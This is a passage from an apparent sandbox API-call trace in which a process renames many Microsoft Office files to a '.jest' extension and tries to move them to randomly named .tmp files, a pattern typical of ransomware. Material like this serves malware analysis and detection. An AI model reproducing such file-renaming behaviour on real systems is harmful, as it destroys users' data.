IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml.jest")) returned 1 [0171.125] VarBstrFromR4 (in: fltIn=0x47945a59, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.7") returned 0x0 [0171.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wh5_ERdQ32SGdTtbQKMQcjIz6IEoImnPhqpGVodbnJ 1r2WAYzyf-Kb9vI5dx19pfCblwVvqzCn4LtdYjl20d5pSUgWJpmBt7pt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wh5_erdq32sgdttbqkmqcjiz6ieoimnphqpgvodbnj 1r2wayzyf-kb9vi5dx19pfcblwvvqzcn4ltdyjl20d5psugwjpmbt7pt.tmp")) returned 0 [0171.127] GetLastError () returned 0x2 [0171.128] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.128] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml.jest")) returned 1 [0171.131] VarBstrFromR4 (in: fltIn=0x47945a59, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.7") returned 0x0 [0171.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.ar.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HVoey7po MXZHTKbO8JlYGYB1uEhXS-tNyqL5pdyH8mHFgfTLwA1sQoyw1XKad0pCDREu5omqpkv56hnzeZ4uwVwkDbPHD62e_Tz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hvoey7po mxzhtkbo8jlygyb1uehxs-tnyql5pdyh8mhfgftlwa1sqoyw1xkad0pcdreu5omqpkv56hnzez4uwvwkdbphd62e_tz.tmp")) returned 0 [0171.132] GetLastError () returned 0x2 [0171.132] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.133] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml.jest")) returned 1 [0171.136] VarBstrFromR4 (in: fltIn=0x47945a59, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.7") returned 0x0 [0171.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Kw80W8c2BqdxvRCjxdjPwY9RJxShsb2WBoTQ33OT5N8TorZ4X5vJuoYP0sHBqsGulSd77ZRQYEJMk2zfo6rO3NkYiJgfe22gej7Ek.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kw80w8c2bqdxvrcjxdjpwy9rjxshsb2wbotq33ot5n8torz4x5vjuoyp0shbqsgulsd77zrqyejmk2zfo6ro3nkyijgfe22gej7ek.tmp")) returned 0 [0171.137] GetLastError () returned 0x2 [0171.137] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml.jest")) returned 1 [0171.140] VarBstrFromR4 (in: fltIn=0x47945a59, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.7") returned 0x0 [0171.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.es.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MI cuZGKePMP ldhZ3V6Q01LIo5ukU1YWkSh4ReZn6OFBhUpZ7Wbi-8yBjZQqUefVqCraZJYYSDwicI76VdmhrpajrPd4-IeFCgeV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mi cuzgkepmp ldhz3v6q01lio5uku1ywksh4rezn6ofbhupz7wbi-8ybjzqquefvqcrazjyysdwici76vdmhrpajrpd4-iefcgev.tmp")) returned 0 [0171.142] GetLastError () returned 0x2 [0171.142] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml.jest")) returned 1 [0171.145] VarBstrFromR4 (in: fltIn=0x47945a5b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.71") returned 0x0 [0171.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vyhr -irPlhyqhUz010668_y8HMsisCQuU04KW8clSyQeBxXIxWCzs _Xw0k_6PV_FfjcIzZgunSkIdfLEkfF3Ty7MExh gJrUai_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vyhr -irplhyqhuz010668_y8hmsiscquu04kw8clsyqebxxixwczs _xw0k_6pv_ffjcizzgunskidflekff3ty7mexh gjruai_.tmp")) returned 0 [0171.146] GetLastError () returned 0x2 [0171.147] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml.jest")) returned 1 [0171.149] VarBstrFromR4 (in: fltIn=0x47945a5b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.71") returned 0x0 [0171.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6H1SId3FidNEs2x1sq Us2VR8JqmWrMmI3ilhdqjGp_FgZNS4VEpGul2Ts6qa4l_EJ7C-PZlaxPSPSGw6qyzBCC24XBhJjCJ-gFb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6h1sid3fidnes2x1sq us2vr8jqmwrmmi3ilhdqjgp_fgzns4vepgul2ts6qa4l_ej7c-pzlaxpspsgw6qyzbcc24xbhjjcj-gfb.tmp")) returned 0 [0171.150] GetLastError () returned 0x2 [0171.151] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.151] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml.jest")) returned 1 [0171.153] VarBstrFromR4 (in: fltIn=0x47945a5b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.71") returned 0x0 [0171.154] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mRMHGUEH3 yIkbBuGCGj3X-pg_Erw5Op2wUiM42gPCkLsQUat-eAjw7RAubK8DIeznF iuO1WCZJHMjOcC944hJAEVEmdWFlO8D.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mrmhgueh3 yikbbugcgj3x-pg_erw5op2wuim42gpcklsquat-eajw7raubk8dieznf iuo1wczjhmjocc944hjaevemdwflo8d.tmp")) returned 0 [0171.154] GetLastError () returned 0x2 [0171.155] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.155] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml.jest")) returned 1 [0171.157] VarBstrFromR4 (in: fltIn=0x47945a5d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.73") returned 0x0 [0171.158] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oouNWedkWHqLoLXKb 4cavFMyqWcBDlGBSCpjCDRRA8GLynFgrZFro 9ruOPOJl9ovgOrLH7IBjCK BlyF3I3EGaRilGRSClJuMGn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oounwedkwhqlolxkb 4cavfmyqwcbdlgbscpjcdrra8glynfgrzfro 9ruopojl9ovgorlh7ibjck blyf3i3egarilgrscljumgn.tmp")) returned 0 [0171.158] GetLastError () returned 0x2 [0171.159] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.159] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml.jest")) returned 1 [0171.161] VarBstrFromR4 (in: fltIn=0x47945a5d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.73") returned 0x0 [0171.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oD2gIqrufbPSiQsRrA_ITsl-NS9LJJ6ifnvjGWQl tyYPS7T38pe3SEBRIzACXDhDJEPJCJyIJcbe-peUZZ0bR8h8YX1_ojCfR_C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\od2giqrufbpsiqsrra_itsl-ns9ljj6ifnvjgwql tyyps7t38pe3sebrizacxdhdjepjcjyijcbe-peuzz0br8h8yx1_ojcfr_c.tmp")) returned 0 [0171.163] GetLastError () returned 0x2 [0171.163] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.163] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml.jest")) returned 1 [0171.166] VarBstrFromR4 (in: fltIn=0x47945a5d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.73") returned 0x0 [0171.167] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.NO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.no.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\47eHi1USykAYwftYKDngvJJ_fzAvVgJr_4IQMZz3Q4VFWkmIji3CHO4hdAxsZuTxsxBolsjiszS0fqpKHb1lpH5uNxcuJk-ZlAdx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\47ehi1usykaywftykdngvjj_fzavvgjr_4iqmzz3q4vfwkmiji3cho4hdaxszutxsxbolsjiszs0fqpkhb1lph5unxcujk-zladx.tmp")) returned 0 [0171.167] GetLastError () returned 0x2 [0171.168] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml.jest")) returned 1 [0171.170] VarBstrFromR4 (in: fltIn=0x47945a5d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.73") returned 0x0 [0171.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.SE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.se.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b-_VX_u4t92nG-u8ePWFKU7Smop5 PfVW8w7TBsDzjfH3rCe_ HW8CkypmuCJjbocz6Umepvs6b2kHsfLcfkZ1rO6w_uaPwADcKKV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b-_vx_u4t92ng-u8epwfku7smop5 pfvw8w7tbsdzjfh3rce_ hw8ckypmucjjbocz6umepvs6b2khsflcfkz1ro6w_uapwadckkv.tmp")) returned 0 [0171.171] GetLastError () returned 0x2 [0171.172] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml.jest")) returned 1 [0171.175] VarBstrFromR4 (in: fltIn=0x47945a5f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.74") returned 0x0 [0171.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.SG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.sg.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VjAz2RLzjNoYIkmGGbMOmEBGB hIerQp6AxjS7ZXeBCotxsdE5GhJ8CkyraUaZlKiteXIYyFopFQlvG6zf6pBdaUDJiJrPAAAFWfl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vjaz2rlzjnoyikmggbmomebgb hierqp6axjs7zxebcotxsde5ghj8ckyrauazlkitexiyyfopfqlvg6zf6pbdaudjijrpaaafwfl.tmp")) returned 0 [0171.177] GetLastError () returned 0x2 [0171.177] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.177] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml.jest")) returned 1 [0171.180] VarBstrFromR4 (in: fltIn=0x47945a5f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.74") returned 0x0 [0171.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\F_7C1MWERq86qfgdJ-dmU3QfQ7kK4ZWNC5qwuKlxXFmWjv2B VuQsyNbaPc7Xbig49JpvO4Tl2HS4J0NJy0AEfcCuHjYBADhYX6e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f_7c1mwerq86qfgdj-dmu3qfq7kk4zwnc5qwuklxxfmwjv2b vuqsynbapc7xbig49jpvo4tl2hs4j0njy0aefccuhjybadhyx6e.tmp")) returned 0 [0171.181] GetLastError () returned 0x2 [0171.181] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.182] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg.jest")) returned 1 [0171.184] VarBstrFromR4 (in: fltIn=0x47945a5f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.74") returned 0x0 [0171.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pR6oW97Zn92XCeksxL2IyGJKHvLNBuKTP7rM3szHn3ek -impTl8LHp-kVmyDO50Lj3ZSPeBq6d1Wnd7BB78Oo0OHsnwb5b6c3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pr6ow97zn92xceksxl2iygjkhvlnbuktp7rm3szhn3ek -imptl8lhp-kvmydo50lj3zspebq6d1wnd7bb78oo0ohsnwb5b6c3.tmp")) returned 0 [0171.185] GetLastError () returned 0x2 [0171.187] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ƙ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.188] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="๺\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.191] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), 